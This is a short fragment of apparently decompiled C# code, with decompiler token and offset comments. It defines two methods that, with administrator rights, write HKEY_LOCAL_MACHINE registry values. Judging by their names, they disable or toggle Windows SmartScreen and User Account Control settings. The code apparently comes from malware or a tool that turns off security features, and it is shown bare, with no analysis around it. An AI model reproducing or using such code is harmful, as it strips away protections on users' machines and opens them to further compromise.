// Token: 0x060002EF RID: 751 RVA: 0x00013954 File Offset: 0x00011B54
        public static bool ToogleSmartScreen(string regpath, string name, string enable)
        {
            bool result;

            try
            {
                if (RunCheck.IsUserAdministrator())
                {
                    using (RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(regpath, true))
                    {
                        try
                        {
                            registryKey.SetValue(name, enable, RegistryValueKind.String);
                            return(true);
                        }
                        catch
                        {
                            return(false);
                        }
                    }
                }
                result = true;
            }
            catch
            {
                result = false;
            }
            return(result);
        }
        // Token: 0x060002ED RID: 749 RVA: 0x0001377C File Offset: 0x0001197C
        public static bool ToogleUacAdmin(string regpath, int locker)
        {
            bool result;

            try
            {
                if (RunCheck.IsUserAdministrator())
                {
                    using (RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryControl.Regview))
                    {
                        using (RegistryKey registryKey2 = registryKey.OpenSubKey(regpath, RunCheck.StartWin_xSixtyFour()))
                        {
                            try
                            {
                                foreach (string name in RegistryControl.FieldsLocal)
                                {
                                    try
                                    {
                                        registryKey2.SetValue(name, locker, RegistryValueKind.DWord);
                                    }
                                    catch
                                    {
                                    }
                                }
                            }
                            catch (Exception)
                            {
                                return(false);
                            }
                            return(true);
                        }
                    }
                }
                result = true;
            }
            catch (Exception)
            {
                result = false;
            }
            return(result);
        }